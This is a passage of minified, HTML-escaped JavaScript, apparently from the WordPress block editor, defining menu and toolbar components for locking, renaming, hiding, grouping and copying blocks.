movement&quot;),checked:n.move,onChange:e=&gt;o((t=&gt;({...t,move:e})))}),(0,d.jsx)(Ss.Icon,{className:&quot;block-editor-block-lock-modal__lock-icon&quot;,icon:n.move?GE:HE})]}),(0,d.jsxs)(&quot;li&quot;,{className:&quot;block-editor-block-lock-modal__checklist-item&quot;,children:[(0,d.jsx)(Ss.CheckboxControl,{__nextHasNoMarginBottom:!0,label:(0,T.__)(&quot;Lock removal&quot;),checked:n.remove,onChange:e=&gt;o((t=&gt;({...t,remove:e})))}),(0,d.jsx)(Ss.Icon,{className:&quot;block-editor-block-lock-modal__lock-icon&quot;,icon:n.remove?GE:HE})]})]})]})}),c&amp;&amp;(0,d.jsx)(Ss.ToggleControl,{__nextHasNoMarginBottom:!0,className:&quot;block-editor-block-lock-modal__template-lock&quot;,label:(0,T.__)(&quot;Apply to all blocks inside&quot;),checked:u,disabled:n.move&amp;&amp;!n.remove,onChange:()=&gt;m(!u)})]}),(0,d.jsxs)(Ss.Flex,{className:&quot;block-editor-block-lock-modal__actions&quot;,justify:&quot;flex-end&quot;,expanded:!1,children:[(0,d.jsx)(Ss.FlexItem,{children:(0,d.jsx)(Ss.Button,{variant:&quot;tertiary&quot;,onClick:t,__next40pxDefaultSize:!0,children:(0,T.__)(&quot;Cancel&quot;)})}),(0,d.jsx)(Ss.FlexItem,{children:(0,d.jsx)(Ss.Button,{variant:&quot;primary&quot;,type:&quot;submit&quot;,__next40pxDefaultSize:!0,children:(0,T.__)(&quot;Apply&quot;)})})]})]})})}function ZE({clientId:e}){const{canLock:t,isLocked:n}=FE(e),[o,r]=(0,h.useReducer)((e=&gt;!e),!1);if(!t)return null;const i=n?(0,T.__)(&quot;Unlock&quot;):(0,T.__)(&quot;Lock&quot;);return(0,d.jsxs)(d.Fragment,{children:[(0,d.jsx)(Ss.MenuItem,{icon:n?HE:UE,onClick:r,&quot;aria-expanded&quot;:o,&quot;aria-haspopup&quot;:&quot;dialog&quot;,children:i}),o&amp;&amp;(0,d.jsx)(KE,{clientId:e,onClose:r})]})}const qE=()=&gt;{};function YE({clientId:e,onToggle:t=qE}){const{blockType:n,mode:o,enabled:r}=(0,g.useSelect)((t=&gt;{const{getBlock:n,getBlockMode:o,getSettings:r}=t(Ii),i=n(e);return{mode:o(e),blockType:i?(0,p.getBlockType)(i.name):null,enabled:r().codeEditingEnabled&amp;&amp;!!i?.isValid}}),[e]),{toggleBlockMode:i}=(0,g.useDispatch)(Ii);if(!n||!(0,p.hasBlockSupport)(n,&quot;html&quot;,!0)||!r)return null;const s=&quot;visual&quot;===o?(0,T.__)(&quot;Edit as HTML&quot;):(0,T.__)(&quot;Edit visually&quot;);return(0,d.jsx)(Ss.MenuItem,{onClick:()=&gt;{i(e),t()},children:s})}function XE({clientId:e,onClose:t}){const{templateLock:n,isLockedByParent:o,isEditingAsBlocks:r}=(0,g.useSelect)((t=&gt;{const{getContentLockingParent:n,getTemplateLock:o,getTemporarilyEditingAsBlocks:r}=U(t(Ii));return{templateLock:o(e),isLockedByParent:!!n(e),isEditingAsBlocks:r()===e}}),[e]),i=(0,g.useDispatch)(Ii),s=!o&amp;&amp;&quot;contentOnly&quot;===n;if(!s&amp;&amp;!r)return null;const{modifyContentLockBlock:l}=U(i);return!r&amp;&amp;s&amp;&amp;(0,d.jsx)(Ss.MenuItem,{onClick:()=&gt;{l(e),t()},children:(0,T._x)(&quot;Modify&quot;,&quot;Unlock content locked blocks&quot;)})}function QE({clientId:e,onClose:t}){const[n,o]=(0,h.useState)(),r=Yf(e),{metadata:i}=(0,g.useSelect)((t=&gt;{const{getBlockAttributes:n}=t(Ii);return{metadata:n(e)?.metadata}}),[e]),{updateBlockAttributes:s}=(0,g.useDispatch)(Ii),l=i?.name||&quot;&quot;,a=r?.title,c=!!l&amp;&amp;!!i?.bindings&amp;&amp;Object.values(i.bindings).some((e=&gt;&quot;core/pattern-overrides&quot;===e.source)),u=void 0!==n&amp;&amp;n!==l,p=n===a,m=(f=n,0===f?.trim()?.length);var f;const b=u||p;return(0,d.jsx)(Ss.Modal,{title:(0,T.__)(&quot;Rename&quot;),onRequestClose:t,overlayClassName:&quot;block-editor-block-rename-modal&quot;,focusOnMount:&quot;firstContentElement&quot;,size:&quot;small&quot;,children:(0,d.jsx)(&quot;form&quot;,{onSubmit:o=&gt;{o.preventDefault(),b&amp;&amp;(()=&gt;{const o=p||m?void 0:n,r=p||m?(0,T.sprintf)((0,T.__)(&#039;Block name reset to: &quot;%s&quot;.&#039;),n):(0,T.sprintf)((0,T.__)(&#039;Block name changed to: &quot;%s&quot;.&#039;),n);(0,Ho.speak)(r,&quot;assertive&quot;),s([e],{metadata:ms({...i,name:o})}),t()})()},children:(0,d.jsxs)(Ss.__experimentalVStack,{spacing:&quot;3&quot;,children:[(0,d.jsx)(Ss.TextControl,{__nextHasNoMarginBottom:!0,__next40pxDefaultSize:!0,value:n??l,label:(0,T.__)(&quot;Name&quot;),help:c?(0,T.__)(&quot;This block allows overrides. Changing the name can cause problems with content entered into instances of this pattern.&quot;):void 0,placeholder:a,onChange:o,onFocus:e=&gt;e.target.select()}),(0,d.jsxs)(Ss.__experimentalHStack,{justify:&quot;right&quot;,children:[(0,d.jsx)(Ss.Button,{__next40pxDefaultSize:!0,variant:&quot;tertiary&quot;,onClick:t,children:(0,T.__)(&quot;Cancel&quot;)}),(0,d.jsx)(Ss.Button,{__next40pxDefaultSize:!0,accessibleWhenDisabled:!0,disabled:!b,variant:&quot;primary&quot;,type:&quot;submit&quot;,children:(0,T.__)(&quot;Save&quot;)})]})]})})})}function JE({clientId:e}){const[t,n]=(0,h.useState)(!1);return(0,d.jsxs)(d.Fragment,{children:[(0,d.jsx)(Ss.MenuItem,{onClick:()=&gt;{n(!0)},&quot;aria-expanded&quot;:t,&quot;aria-haspopup&quot;:&quot;dialog&quot;,children:(0,T.__)(&quot;Rename&quot;)}),t&amp;&amp;(0,d.jsx)(QE,{clientId:e,onClose:()=&gt;n(!1)})]})}var eT=(0,d.jsx)(ce.SVG,{viewBox:&quot;0 0 24 24&quot;,xmlns:&quot;http://www.w3.org/2000/svg&quot;,children:(0,d.jsx)(ce.Path,{d:&quot;M3.99961 13C4.67043 13.3354 4.6703 13.3357 4.67017 13.3359L4.67298 13.3305C4.67621 13.3242 4.68184 13.3135 4.68988 13.2985C4.70595 13.2686 4.7316 13.2218 4.76695 13.1608C4.8377 13.0385 4.94692 12.8592 5.09541 12.6419C5.39312 12.2062 5.84436 11.624 6.45435 11.0431C7.67308 9.88241 9.49719 8.75 11.9996 8.75C14.502 8.75 16.3261 9.88241 17.5449 11.0431C18.1549 11.624 18.6061 12.2062 18.9038 12.6419C19.0523 12.8592 19.1615 13.0385 19.2323 13.1608C19.2676 13.2218 19.2933 13.2686 19.3093 13.2985C19.3174 13.3135 19.323 13.3242 19.3262 13.3305L19.3291 13.3359C19.3289 13.3357 19.3288 13.3354 19.9996 13C20.6704 12.6646 20.6703 12.6643 20.6701 12.664L20.6697 12.6632L20.6688 12.6614L20.6662 12.6563L20.6583 12.6408C20.6517 12.6282 20.6427 12.6108 20.631 12.5892C20.6078 12.5459 20.5744 12.4852 20.5306 12.4096C20.4432 12.2584 20.3141 12.0471 20.1423 11.7956C19.7994 11.2938 19.2819 10.626 18.5794 9.9569C17.1731 8.61759 14.9972 7.25 11.9996 7.25C9.00203 7.25 6.82614 8.61759 5.41987 9.9569C4.71736 10.626 4.19984 11.2938 3.85694 11.7956C3.68511 12.0471 3.55605 12.2584 3.4686 12.4096C3.42484 12.4852 3.39142 12.5459 3.36818 12.5892C3.35656 12.6108 3.34748 12.6282 3.34092 12.6408L3.33297 12.6563L3.33041 12.6614L3.32948 12.6632L3.32911 12.664C3.32894 12.6643 3.32879 12.6646 3.99961 13ZM11.9996 16C13.9326 16 15.4996 14.433 15.4996 12.5C15.4996 10.567 13.9326 9 11.9996 9C10.0666 9 8.49961 10.567 8.49961 12.5C8.49961 14.433 10.0666 16 11.9996 16Z&quot;})}),tT=(0,d.jsx)(ce.SVG,{viewBox:&quot;0 0 24 24&quot;,xmlns:&quot;http://www.w3.org/2000/svg&quot;,children:(0,d.jsx)(ce.Path,{d:&quot;M20.7 12.7s0-.1-.1-.2c0-.2-.2-.4-.4-.6-.3-.5-.9-1.2-1.6-1.8-.7-.6-1.5-1.3-2.6-1.8l-.6 1.4c.9.4 1.6 1 2.1 1.5.6.6 1.1 1.2 1.4 1.6.1.2.3.4.3.5v.1l.7-.3.7-.3Zm-5.2-9.3-1.8 4c-.5-.1-1.1-.2-1.7-.2-3 0-5.2 1.4-6.6 2.7-.7.7-1.2 1.3-1.6 1.8-.2.3-.3.5-.4.6 0 0 0 .1-.1.2s0 0 .7.3l.7.3V13c0-.1.2-.3.3-.5.3-.4.7-1 1.4-1.6 1.2-1.2 3-2.3 5.5-2.3H13v.3c-.4 0-.8-.1-1.1-.1-1.9 0-3.5 1.6-3.5 3.5s.6 2.3 1.6 2.9l-2 4.4.9.4 7.6-16.2-.9-.4Zm-3 12.6c1.7-.2 3-1.7 3-3.5s-.2-1.4-.6-1.9L12.4 16Z&quot;})});function nT({clientIds:e}){const{updateBlockAttributes:t}=(0,g.useDispatch)(Ii),{createSuccessNotice:n}=(0,g.useDispatch)(dr.store),o=(0,g.useSelect)((t=&gt;t(Ii).getBlocksByClientId(e)),[e]),r=(0,g.useSelect)((e=&gt;e(qk.store).getShortcutRepresentation(&quot;core/editor/toggle-list-view&quot;)),[]),i=o.some((e=&gt;!1===e.attributes.metadata?.blockVisibility));return(0,d.jsx)(Ss.MenuItem,{icon:i?eT:tT,onClick:()=&gt;{const s=!i,l=Object.fromEntries(o?.map((({clientId:e,attributes:t})=&gt;[e,{metadata:ms({...t?.metadata,blockVisibility:!s&amp;&amp;void 0})}])));t(e,l,{uniqueByBlock:!0}),s&amp;&amp;(o.length&gt;1?n((0,T.sprintf)((0,T.__)(&quot;Blocks hidden. You can access them via the List View (%s).&quot;),r),{id:&quot;block-visibility-hidden&quot;,type:&quot;snackbar&quot;}):n((0,T.sprintf)((0,T.__)(&quot;Block hidden. You can access it via the List View (%s).&quot;),r),{id:&quot;block-visibility-hidden&quot;,type:&quot;snackbar&quot;}))},children:i?(0,T.__)(&quot;Show&quot;):(0,T.__)(&quot;Hide&quot;)})}const{Fill:oT,Slot:rT}=(0,Ss.createSlotFill)(&quot;BlockSettingsMenuControls&quot;);function iT({...e}){return(0,d.jsx)(Ss.__experimentalStyleProvider,{document,children:(0,d.jsx)(oT,{...e})})}iT.Slot=({fillProps:e,clientIds:t=null})=&gt;{const{selectedBlocks:n,selectedClientIds:o,isContentOnly:r,canToggleSelectedBlocksVisibility:i}=(0,g.useSelect)((e=&gt;{const{getBlocksByClientId:n,getBlockNamesByClientId:o,getSelectedBlockClientIds:r,getBlockEditingMode:i}=e(Ii),s=null!==t?t:r();return{selectedBlocks:o(s),selectedClientIds:s,isContentOnly:&quot;contentOnly&quot;===i(s[0]),canToggleSelectedBlocksVisibility:n(s).every((e=&gt;(0,p.hasBlockSupport)(e.name,&quot;visibility&quot;,!0)))}}),[t]),{canLock:s}=FE(o[0]),{canRename:l}=(a=n[0],{canRename:(0,p.getBlockSupport)(a,&quot;renaming&quot;,!0)});var a;const c=1===o.length&amp;&amp;s&amp;&amp;!r,u=1===o.length&amp;&amp;l&amp;&amp;!r,h=i&amp;&amp;!r,m=zE(o),{isGroupable:f,isUngroupable:b}=m,k=(f||b)&amp;&amp;!r;return(0,d.jsx)(rT,{fillProps:{...e,selectedBlocks:n,selectedClientIds:o},children:t=&gt;!t?.length&gt;0&amp;&amp;!k&amp;&amp;!c?null:(0,d.jsxs)(Ss.MenuGroup,{children:[k&amp;&amp;(0,d.jsx)(VE,{...m,onClose:e?.onClose}),c&amp;&amp;(0,d.jsx)(ZE,{clientId:o[0]}),u&amp;&amp;(0,d.jsx)(JE,{clientId:o[0]}),h&amp;&amp;(0,d.jsx)(nT,{clientIds:o}),t,1===o.length&amp;&amp;(0,d.jsx)(XE,{clientId:o[0],onClose:e?.onClose}),1===e?.count&amp;&amp;!r&amp;&amp;(0,d.jsx)(YE,{clientId:e?.firstBlockClientId,onToggle:e?.onClose})]})})};var sT=iT;function lT({parentClientId:e,parentBlockType:t}){const n=(0,m.useViewportMatch)(&quot;medium&quot;,&quot;&lt;&quot;),{selectBlock:o}=(0,g.useDispatch)(Ii),r=(0,h.useRef)(),i=Wj({ref:r,highlightParent:!0});return n?(0,d.jsx)(Ss.MenuItem,{...i,ref:r,icon:(0,d.jsx)(zu,{icon:t.icon}),onClick:()=&gt;o(e),children:(0,T.sprintf)((0,T.__)(&quot;Select parent block (%s)&quot;),t.title)}):null}const aT={className:&quot;block-editor-block-settings-menu__popover&quot;,placement:&quot;bottom-start&quot;};function cT({clientIds:e,onCopy:t,label:n,shortcut:o,eventType:r=&quot;copy&quot;,__experimentalUpdateSelection:i=!1}){const{getBlocksByClientId:s}=(0,g.useSelect)(Ii),{removeBlocks:l}=(0,g.useDispatch)(Ii),a=Iw(),c=(0,m.useCopyToClipboard)((()=&gt;(0,p.serialize)(s(e))),(()=&gt;{switch(r){case&quot;copy&quot;:case&quot;copyStyles&quot;:t(),a(r,e);break;case&quot;cut&quot;:a(r,e),l(e,i)}})),u=n||(0,T.__)(&quot;Copy&quot;);return(0,d.jsx)(Ss.MenuItem,{ref:c,shortcut:o,children:u})}function uT({block:e,clientIds:t,children:n,__experimentalSelectBlock:o,...r}){const i=e?.clientId,s=t.length,l=t[0],{firstParentClientId:a,parentBlockType:c,previousBlockClientId:u,selectedBlockClientIds:f,openedBlockSettingsMenu:b,isContentOnly:k,isZoomOut:v}=(0,g.useSelect)((e=&gt;{const{getBlockName:t,getBlockRootClientId:n,getPreviousBlockClientId:o,getSelectedBlockClientIds:r,getBlockAttributes:i,getOpenedBlockSettingsMenu:s,getBlockEditingMode:a,isZoomOut:c}=U(e(Ii)),{getActiveBlockVariation:u}=e(p.store),d=n(l),h=d&amp;&amp;t(d);return{firstParentClientId:d,parentBlockType:d&amp;&amp;(u(h,i(d))||(0,p.getBlockType)(h)),previousBlockClientId:o(l),selectedBlockClientIds:r(),openedBlockSettingsMenu:s(),isContentOnly:&quot;contentOnly&quot;===a(l),isZoomOut:c()}}),[l]),{getBlockOrder:_,getSelectedBlockClientIds:y}=(0,g.useSelect)(Ii),{setOpenedBlockSettingsMenu:x}=U((0,g.useDispatch)(Ii)),S=(0,g.useSelect)((e=&gt;{const{getShortcutRepresentation:t}=e(qk.store);return{copy:t(&quot;core/block-editor/copy&quot;),cut:t(&quot;core/block-editor/cut&quot;),duplicate:t(&quot;core/block-editor/duplicate&quot;),remove:t(&quot;core/block-editor/remove&quot;),insertAfter:t(&quot;core/block-editor/insert-after&quot;),insertBefore:t(&quot;core/block-editor/insert-before&quot;)}}),[]),w=f.length&gt;0;async function C(e){if(!o)return;const t=await e;t&amp;&amp;t[0]&amp;&amp;o(t[0],!1)}function B(){if(!o)return;let e=u||a;e||(e=_()[0]);const t=w&amp;&amp;0===y().length;o(e,t)}const I=f?.includes(a),j=i?b===i||!1:void 0;function E(e){e&amp;&amp;b!==i?x(i):!e&amp;&amp;b&amp;&amp;b===i&amp;&amp;x(void 0)}const M=!I&amp;&amp;!!a;return(0,d.jsx)(RE,{clientIds:t,__experimentalUpdateSelection:!o,children:({canCopyStyles:e,canDuplicate:i,canInsertBlock:u,canRemove:p,onDuplicate:g,onInsertAfter:f,onInsertBefore:b,onRemove:_,onCopy:y,onPasteStyles:x})=&gt;!p&amp;&amp;!i&amp;&amp;!u&amp;&amp;k?null:(0,d.jsx)(Ss.DropdownMenu,{icon:mv,label:(0,T.__)(&quot;Options&quot;),className:&quot;block-editor-block-settings-menu&quot;,popoverProps:aT,open:j,onToggle:E,noIcons:!0,...r,children:({onClose:r})=&gt;(0,d.jsxs)(d.Fragment,{children:[(0,d.jsxs)(Ss.MenuGroup,{children:[(0,d.jsx)(OE.Slot,{fillProps:{onClose:r}}),M&amp;&amp;(0,d.jsx)(lT,{parentClientId:a,parentBlockType:c}),1===s&amp;&amp;(0,d.jsx)(NE,{clientId:l}),!k&amp;&amp;(0,d.jsx)(cT,{clientIds:t,onCopy:y,shortcut:S.copy}),!k&amp;&amp;(0,d.jsx)(cT,{clientIds:t,label:(0,T.__)(&quot;Cut&quot;),eventType:&quot;cut&quot;,shortcut:S.cut,__experimentalUpdateSelection:!o}),i&amp;&amp;(0,d.jsx)(Ss.MenuItem,{onClick:(0,m.pipe)(r,g,C),shortcut:S.duplicate,children:(0,T.__)(&quot;Duplicate&quot;)}),u&amp;&amp;!v&amp;&amp;(0,d.jsxs)(d.Fragment,{children:[(0,d.jsx)(Ss.MenuItem,{onClick:(0,m.pipe)(r,b),shortcut:S.insertBefore,children:(0,T.__)(&quot;Add before&quot;)}),(0,d.jsx)(Ss.MenuItem,{onClick:(0,m.pipe)(r,f),shortcut:S.insertAfter,children:(0,T.__)(&quot;Add after&quot;)})]}),1===s&amp;&amp;(0,d.jsx)(AE.Slot,{fillProps:{clientId:l,onClose:r}})]}),e&amp;&amp;!k&amp;&amp;(0,d.jsxs)(Ss.MenuGroup,{children:[(0,d.jsx)(cT,{clientIds:t,onCopy:y,label:(0,T.__)(&quot;Copy styles&quot;),eventType:&quot;copyStyles&quot;}),(0,d.jsx)(Ss.MenuItem,{onClick:x,children:(0,T.__)(&quot;Paste styles&quot;)})]}),!k&amp;&amp;(0,d.jsx)(sT.Slot,{fillProps:{onClose:r,count:s,firstBlockClientId:l},clientIds:t}),&quot;function&quot;==typeof n?n({onClose:r}):h.Children.map((e=&gt;(0,h.cloneElement)(e,{onClose:r}))),p&amp;&amp;(0,d.jsx)(Ss.MenuGroup,{children:(0,d.jsx)(Ss.MenuItem,{onClick:(0,m.pipe)(r,_,B),shortcut:S.remove,children:(0,T.__)(&quot;Delete&quot;)})})]})})})}var dT=uT;var pT=(0,Ss.createSlotFill)(Symbol(&quot;CommentIconToolbarSlotFill&quot;));var hT=function({clientIds:e,...t}){return(0,d.jsxs)(Ss.ToolbarGroup,{children:[(0,d.jsx)(pT.Slot,{}),(0,d.jsx)(Ss.ToolbarItem,{children:n=&gt;(0,d.jsx)(dT,{clientIds:e,toggleProps:n,...t})})]})};function gT({clientId:e}){const{canLock:t,isLocked:n}=FE(e),[o,r]=(0,h.useReducer)((e=&gt;!e),!1),i=(0,h.useRef)(!1);if((0,h.useEffect)((()=&gt;{n&amp;&amp;(i.current=!0)}),[n]),!n&amp;&amp;!i.current)return null;let s=n?(0,T.__)(&quot;Unlock&quot;):(0,T.__)(&quot;Lock&quot;);return!t&amp;&amp;n&amp;&amp;(s=(0,T.__)(&quot;Locked&quot;)),(0,d.jsxs)(d.Fragment,{children:[(0,d.jsx)(Ss.ToolbarGroup,{className:&quot;block-editor-block-lock-toolbar&quot;,children:(0,d.jsx)(Ss.ToolbarButton,{disabled:!t,icon:n?GE:HE,label:s,onClick:r,&quot;aria-expanded&quot;:o,&quot;aria-haspopup&quot;:&quot;dialog&quot;})}),o&amp;&amp;(0,d.jsx)(KE,{clientId:e,onClose:r})]})}function mT({clientIds:e}){const{blocks:t,canToggleBlockVisibility:n}=(0,g.useSelect)((t=&gt;{const{getBlockName:n,getBlocksByClientId:o}=t(Ii),r=o(e);return{blocks:r,canToggleBlockVisibility:r.every((({clientId:e})=&gt;(0,p.hasBlockSupport)(n(e),&quot;visibility&quot;,!0)))}}),[e]),o=t.some((e=&gt;!1===e.attributes.metadata?.blockVisibility)),r=(0,h.useRef)(!1),{updateBlockAttributes:i}=(0,g.useDispatch)(Ii);if((0,h.useEffect)((()=&gt;{o&amp;&amp;(r.current=!0)}),[o]),!o&amp;&amp;!r.current)return null;return(0,d.jsx)(d.Fragment,{children:(0,d.jsx)(Ss.ToolbarGroup,{className:&quot;block-editor-block-lock-toolbar&quot;,children:(0,d.jsx)(Ss.ToolbarButton,{disabled:!n,icon:o?tT:eT,label:o?(0,T.__)(&quot;Hidden&quot;):(0,T.__)(&quot;Visible&quot;),onClick:()=&gt;{const n=Object.fromEntries(t?.map((({clientId:e,attributes:t})=&gt;[e,{metadata:ms({...t?.metadata,blockVisibility:!!o&amp;&amp;void 0})}])));i(e,n,{uniqueByBlock:!0})}})})})}var fT=(0,d.jsx)(ce.SVG,{viewBox:&quot;0 0 24 24&quot;,xmlns:&quot;http://www.w3.org/2000/svg&quot;,children:(0,d.jsx)(ce.Path,{d:&quot;M18 4h-7c-1.1 0-2 .9-2 2v3H6c-1.1 0-2 .9-2 2v7c0 1.1.9 2 2 2h7c1.1 0 2-.9 2-2v-3h3c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2zm-4.5 14c0 .3-.2.5-.5.5H6c-.3 0-.5-.2-.5-.5v-7c0-.3.2-.5.5-.5h3V13c0 1.1.9 2 2 2h2.5v3zm0-4.5H11c-.3 0-.5-.2-.5-.5v-2.5H13c.3 0 .5.2.5.5v2.5zm5-.5c0 .3-.2.5-.5.5h-3V11c0-1.1-.9-2-2-2h-2.5V6c0-.3.2-.5.5-.5h7c.3 0 .5.2.5.5v7z&quot;})}),bT=(0,d.jsx)(ce.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,d.jsx)(ce.Path,{d:&quot;M4 6.5h5a2 2 0 0 1 2 2v7a2 2 0 0 1-2 2H4V16h5a.5.5 0 0 0 .5-.5v-7A.5.5 0 0 0 9 8H4V6.5Zm16 0h-5a2 2 0 0 0-2 2v7a2 2 0 0 0 2 2h5V16h-5a.5.5 0 0 1-.5-.5v-7A.5.5 0 0 1 15 8h5V6.5Z&quot;})}),kT=(0,d.jsx)(ce.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,d.jsx)(ce.Path,{d:&quot;M17.5 4v5a2 2 0 0 1-2 2h-7a2 2 0 0 1-2-2V4H8v5a.5.5 0 0 0 .5.5h7A.5.5 0 0 0 16 9V4h1.5Zm0 16v-5a2 2 0 0 0-2-2h-7a2 2 0 0 0-2 2v5H8v-5a.5.5 0 0 1 .5-.5h7a.5.5 0 0 1 .5.5v5h1.5Z&quot;})}),vT=(0,d.jsx)(ce.SVG,{xmlns:&quot;http://www.w3.org/2000/svg&quot;,viewBox:&quot;0 0 24 24&quot;,children:(0,d.jsx)(ce.Path,{d:&quot;m3 5c0-1.10457.89543-2 2-2h13.5c1.1046 0 2 .89543 2 2v13.5c0 1.1046-.8954 2-2 2h-13.5c-1.10457 0-2-.8954-2-2zm2-.5h6v6.5h-6.5v-6c0-.27614.22386-.5.5-.5zm-.5 8v6c0 .2761.22386.5.5.5h6v-6.5zm8 0v6.5h6c.2761 0 .5-.2239.5-.5v-6zm0-8v6.5h6.5v-6c0-.27614-.2239-.5-.5-.5z&quot;,fillRule:&quot;evenodd&quot;,clipRule:&quot;evenodd&quot;})});const _T={group:{type:&quot;constrained&quot;},row:{type:&quot;flex&quot;,flexWrap:&quot;nowrap&quot;},stack:{type:&quot;flex&quot;,orientation:&quot;vertical&quot;},grid:{type:&quot;grid&quot;}};var yT=function(){const{blocksSelection:e,clientIds:t,groupingBlockName:n,isGroupable:o}=zE(),{replaceBlocks:r}=(0,g.useDispatch)(Ii),{canRemove:i,variations:s}=(0,g.useSelect)((e=&gt;{const{canRemoveBlocks:o}=e(Ii),{getBlockVariations:r}=e(p.store);return{canRemove:o(t),variations:r(n,&quot;transform&quot;)}}),[t,n]),l=o=&gt;{const i=(0,p.switchToBlockType)(e,n);&quot;string&quot;!=typeof o&amp;&amp;(o=&quot;group&quot;),i&amp;&amp;i.length&gt;0&amp;&amp;(i[0].attributes.layout=_T[o],r(t,i))};if(!o||!i)return null;const a=!!s.find((({name:e})=&gt;&quot;group-row&quot;===e)),c=!!s.find((({name:e})=&gt;&quot;group-stack&quot;===e)),u=!!s.find((({name:e})=&gt;&quot;group-grid&quot;===e));return(0,d.jsxs)(Ss.ToolbarGroup,{children:[(0,d.jsx)(Ss.ToolbarButton,{icon:fT,label:(0,T._x)(&quot;Group&quot;,&quot;action: convert blocks to group&quot;),onClick:l}),a&amp;&amp;(0,d.jsx)(Ss.ToolbarButton,{icon:bT,label:(0,T._x)(&quot;Row&quot;,&quot;action: convert blocks to row&quot;),onClick:()=&gt;l(&quot;row&quot;)}),c&amp;&amp;(0,d.jsx)(Ss.ToolbarButton,{icon:kT,label:(0,T._x)(&quot;Stack&quot;,&quot;action: convert blocks to stack&quot;),onClick:()=&gt;l(&quot;stack&quot;)}),u&amp;&amp;(0,d.jsx)(Ss.ToolbarButton,{icon:vT,label:(0,T._x)(&quot;Grid&quot;,&quot;action: convert blocks to grid&quot;),onClick:()=&gt;l(&quot;grid&quot;)})]})};function xT({clientIds:e}){const t=1===e.length?e[0]:void 0,n=(0,g.useSelect)((e=&gt;!!t&amp;&amp;&quot;html&quot;===e(Ii).getBlockMode(t)),[t]),{toggleBlockMode:o}=(0,g.useDispatch)(Ii);return n?(0,d.jsx)(Ss.ToolbarGroup,{children:(0,d.jsx)(Ss.ToolbarButton,{onClick:()=&gt;{o(t)},children:(0,T.__)(&quot;Edit visually&quot;)})}):null}const ST=(0,h.createContext)(&quot;&quot;);ST.displayName=&quot;__unstableBlockNameContext&quot;;var wT=ST;function CT(e){return Array.from(e.querySelectorAll(&quot;[data-toolbar-item]:not([disabled])&quot;))}function BT(e){return e.contains(e.ownerDocument.activeElement)}function IT({toolbarRef:e,focusOnMount:t,isAccessibleToolbar:n,defaultIndex:o,onIndexChange:r,shouldUseKeyboardFocusShortcut:i,focusEditorOnEscape:s}){const[l]=(0,h.useState)(t),[a]=(0,h.useState)(o),c=(0,h.useCallback)((()=&gt;{!function(e){const[t]=Ua.focus.tabbable.find(e);t&amp;&amp;t.focus({preventScroll:!0})}(e.current)}),[e]);(0,qk.useShortcut)(&quot;core/block-editor/focus-toolbar&quot;,(()=&gt;{i&amp;&amp;c()})),(0,h.useEffect)((()=&gt;{l&amp;&amp;c()}),[n,l,c]),(0,h.useEffect)((()=&gt;{const t=e.current;let n=0;return l||BT(t)||(n=window.requestAnimationFrame((()=&gt;{const e=CT(t),n=a||0;e[n]&amp;&amp;BT(t)&amp;&amp;e[n].focus({preventScroll:!0})}))),()=&gt;{if(window.cancelAnimationFrame(n),!r||!t)return;const e=CT(t).findIndex((e=&gt;0===e.tabIndex));r(e)}}),[a,l,r,e]);const{getLastFocus:u}=U((0,g.useSelect)(Ii));(0,h.useEffect)((()=&gt;{const t=e.current;if(s){const e=e=&gt;{const t=u();e.keyCode===$a.ESCAPE&amp;&amp;t?.current&amp;&amp;(e.preventDefault(),t.current.focus())};return t.addEventListener(&quot;keydown&quot;,e),()=&gt;{t.removeEventListener(&quot;keydown&quot;,e)}}}),[s,u,e])}function jT({children:e,focusOnMount:t,focusEditorOnEscape:n=!1,shouldUseKeyboardFocusShortcut:o=!0,__experimentalInitialIndex:r,__experimentalOnIndexChange:i,orientation:s=&quot;horizontal&quot;,...l}){const a=(0,h.useRef)(),c=function(e){const[t,n]=(0,h.useState)(!0),o=(0,h.useCallback)((()=&gt;{const t=!Ua.focus.tabbable.find(e.current).some((e=&gt;!(&quot;toolbarItem&quot;in e.dataset)));t||I()(&quot;Using custom components as toolbar controls&quot;,{since:&quot;5.6&quot;,alternative:&quot;ToolbarItem, ToolbarButton or ToolbarDropdownMenu components&quot;,link:&quot;https://developer.wordpress.org/block-editor/components/toolbar-button/#inside-blockcontrols&quot;}),n(t)}),[e]);return(0,h.useLayoutEffect)((()=&gt;{const t=new window.MutationObserver(o);return t.observe(e.current,{childList:!0,subtree:!0}),()=&gt;t.disconnect()}),[o,t,e]),t}(a);return IT({toolbarRef:a,focusOnMount:t,defaultIndex:r,onIndexChange:i,isAccessibleToolbar:c,shouldUseKeyboardFocusShortcut:o,focusEditorOnEscape:n}),c?(0,d.jsx)(Ss.Toolbar,{label:l[&quot;aria-label&quot;],ref:a,orientation:s,...l,children:e}):(0,d.jsx)(Ss.NavigableMenu,{orientation:s,role:&quot;toolbar&quot;,ref:a,...l,children:e})}function ET(){const e=(0,g.useSelect)((e=&gt;{const{getBlockEditingMode:t,getBlockName:n,getBlockSelectionStart:o}=e(Ii),r=o(),i=r&amp;&amp;(0,p.getBlockType)(n(r));return i&amp;&amp;(0,p.hasBlockSupport)(i,&quot;__experimentalToolbar&quot;,!0)&amp;&amp;&quot;disabled&quot;!==t(r)}),[]);return e}const TT=[],MT=6,PT={placement:&quot;bottom-start&quot;};function RT({clientId:e}){const{categories:t,currentPatternName:n,patterns:o}=(0,g.useSelect)((t=&gt;{const{getBlockAttributes:n,getBlockRootClientId:o,__experimentalGetAllowedPatterns:r}=t(Ii),i=n(e),s=i?.metadata?.categories||TT,l=o(e),a=s.length&gt;0?r(l):TT;return{categories:s,currentPatternName:i?.metadata?.patternName,patterns:a}}),[e]),{replaceBlocks:r}=(0,g.useDispatch)(Ii),i=(0,h.useMemo)((()=&gt;0!==t.length&amp;&amp;o&amp;&amp;0!==o.length?o.filter((e=&gt;{const o=&quot;core&quot;===e.source||e.source?.startsWith(&quot;pattern-directory&quot;)&amp;&amp;&quot;pattern-directory/theme&quot;!==e.source;return 1===e.blocks.length&amp;&amp;!o&amp;&amp;n!==e.name&amp;&amp;e.categories?.some((e=&gt;t.includes(e)))&amp;&amp;(&quot;unsynced&quot;===e.syncStatus||!e.id)})).slice(0,MT):TT),[t,n,o]);if(i.length&lt;2)return null;const s=n=&gt;{const 